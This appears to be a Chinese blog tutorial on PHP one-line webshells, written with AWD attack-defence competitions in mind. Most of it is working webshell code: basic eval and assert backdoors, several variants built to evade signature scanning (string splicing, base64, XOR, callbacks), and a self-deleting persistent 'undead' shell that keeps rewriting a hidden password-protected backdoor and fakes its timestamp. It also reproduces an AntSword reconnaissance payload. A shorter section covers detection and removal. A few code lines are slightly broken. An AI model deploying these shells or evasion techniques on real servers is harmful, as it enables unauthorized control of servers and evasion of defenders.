一句话木马

什么是一句话木马

一句话木马是一个可执行脚本文件,把脚本文件上传到目标服务器,然后文件被解析执行就可以达到控制目标服务器的目的。

之所以叫一句话,是因为它短小精悍,它的类型也有很多种,比如php、jsp、asp等等,看网站用的是哪种语言就用哪种类型的木马。

可能是php用的比较多,所以下面都是关于php的讲解

原理

基本形式

<?php @eval($_POST['a']);?>或者

<?php @eval($_GET['a']);?>

PHP服务器识别到<?php这个代码才会去解析执行,@来屏蔽错误,增加其隐蔽性,然后通过eval()函数执行变量a里面的内容

用get或者post传入参数a=phpinfo();后就变成

<?php @eval("phpinfo();");?>

想要执行什么代码,就把什么代码传给变量a即可

上传木马攻击成功需要满足三个条件

木马能成功上传到服务器

知道木马在服务器的路径

上传的木马能被解析执行

eval和assert的异同

相同点:都能把字符串作为PHP代码执行

不同点:eval()不能被可变函数调用,eval()函数实际是一个语言构造器,相当于C语言中的预定义宏,属于PHP语言内部关键字

可变函数:PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echoprintunset()isset()empty()includerequire 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

1
2
3
4
5
<?php
$a="eval"
@$a(@$_REQUEST['a']);
?>
这样是不行的

注:php7.1以上assert已经被废弃

木马的各种变形

传统的木马防护检测一般是基于特征检测的防护,如:正则表达式和黑名单。

传统防护检测的免杀方法:

思路一:隐藏关键字

绕过php代码标志<?的限制:

<script language="php">@eval($_POST['X'])</script>

拆分拼接:

1
2
3
4
5
6
<?php
$arr=explode(",","a,s,d,f,s,d,e,k,r,t"); //把字符串打散为数组
$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);
?>

编码:

1
2
3
4
<?php
$a=base64_decode("YXNzZXJ0");
@$a($_POST('cmd'));
?>

随机异或,用异或运算来组成字符:

1
2
3
4
5
6
7
8
9
10
11
<?php
//也可以用十六进制进行进一步加密,例如
//$r="x4d"^"x3f";
$a="Y"^"8";//a
$b="T"^"'";//s
$c="*"^"O";//e
$d="M"^"?";//r
$e="-"^"Y";//t
$payload=$a.$b.$b.$c.$d.$e;//拼接成assert
@$payload(@$_POST['x']);
?>

可变函数:

1
2
3
4
<?php
@$_REQUEST['e'](@$_REQUEST['x']);
//传入e=assert&x=command
?>

可变变量:

1
2
3
4
5
6
<?php
$a='assert';
$b='a';
//$$b=$a='assert'
$$b($_POST['x']); //assert($_POST['x'])
?>

思路二:回调函数

回调函数:PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。
如:call_user_func ( $callback , $parameter)

$callback :被调用的回调函数
$parameter:0个或以上的参数,被传入回调函数。

1
2
3
4
<?php  
@call_user_func($_GET['id'],$_POST['a']);
//传入id=eval&a=command
?>

其他回调函数:
call_user_func_array、array_filter、
register_tick_function、
forward_static_call、
………………

PHP手册关键字搜索回调函数:called,callable,callback………..

木马的使用

1.执行系统命令:

system()–执行外部程序,并显示输出
passthru()–执行外部程序并且显示原始输出
exec()–执行一个外部程序,不输出结果,echo返回结果的最后一行。
shell_exec()或放在反引号里–通过shell环境执行命令,需要echo

2.读文件:

file_ get_contents 一将整个文件读入为一个字符串
file()一把整个文件读入一个数组中
readfile一读取一个文件,并写入到输出缓冲

3.遍历目录:

scandir() 函数返回一个指定目录中的文件和目录的数组。

木马的特征与查杀(AWD)

基于特征检测,检测敏感关键字,如:危险函数、特殊函数
工具:D盾

1、代码执行函数:
eval
assert
preg_replace
create_function
回调函数 call_user_func、call_user_func_array、register_tick_function、array_filter等等

2、命令执行函数:
exec()–执行一个外部程序
passthru()–执行外部程序并且显示原始输出
proc_open()–执行一个命令,并且打开用来输入/输出的文件指针
shell_exec()或放在两个反引号里–通过shell环境执行命令
system()–执行外部程序,并显示输出
popen()–通过参数传递一条命令,并对popen打开的文件执行

3、文件操作函数:
file_ get_contents 一将整个文件读入为一个字符串
file_ put_ contents 一将一个字符串写入文件
file()一把整个文件读入一个数组中
fopen一打开文件或者URL
move_ uploaded file 一将上传的文件移动到新位置
readfile一读取一个文件,并写入到输出缓冲
rename一重命名一个文件或目录
rmdir一删除目录
unlink & delete 一删除文件

4、包含函数:
require、require_once
include、include_once

5、特殊函数:
phpinfo
变量覆盖 parse_str、extract等等

不死马

不死马即内存马,它无文件,但程序会永久的运行在PHP进程中,无限执行,很隐蔽不易被发现,也不容易被删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index1.php';//.是隐藏文件
$code = '<?php if(md5($_POST["pass"])=="5c44d3ed7462245f57b37f8fe2a3d5de"){@eval($_POST["cmd"]);} ?>';//注:
pass参数使用了MD5加密,防止木马被他人利用。
//pass=nepnep 用法:pass=nepnep&cmd=command
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .index1.php');//防守方可能会检查最近几分钟内修改或创建的文件,修改时间可能可以防止被检测出来
usleep(5000);
}
?>

ignore_user_abort(true):此函数用来设置 客户机断开后是否会终止脚本的执行,设置成true,客户机断开后脚本仍然会执行。
set_time_limit(0):设置脚本最大执行时间,设为0表示没有限制。
unlink(__FILE__): 删除文件本身,起到隐蔽自身的作用。
usleep():延迟执行当前脚本若干微秒。

不死马的查杀:

1、重启服务,比如php 等web服务。
2、创建一个和不死马同名的文件夹。
3、删除相应进程。查出不死马进程PID后,用命令kill -9 PID 杀掉进程。
4、竞争写入删除不死马的文件,usleep的时间必须要小于不死马的延迟时间才会有效。

菜刀蚁剑使用介绍

小马:短小精悍,比如一句话木马,但实现的功能少;
大马:脚本大小会比较庞大,但它能实现更复杂的功能。
先传小马,再利用小马执行大马。菜刀、蚁剑等工具一键实现。

1、工具原理:
假设上传的一句话木马为:<?php @eval($_POST['cmd']);?>
蚁剑连接抓包:

image-20210302151622814

发送的请求包中,cmd连接密码中再嵌套了一句eval函数,而真正传递命令的是随机参数,随机参数传递base64编码后的命令,传递给cmd后,进行了base64解码,服务器执行解码完的命令。

把随机参数传递的命令解码后,如下:
大致意思为循环遍历路径下的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){return $out;};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "2652a8a9cbcf";
echo @asenc($output);
echo "76c018cc86";}
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}
else{$R.="/";}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();

参考资料

https://www.bilibili.com/video/BV1VA411u7Tg?p=7

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2020-2021 Blog of Tianze

请我喝杯咖啡吧~

支付宝
微信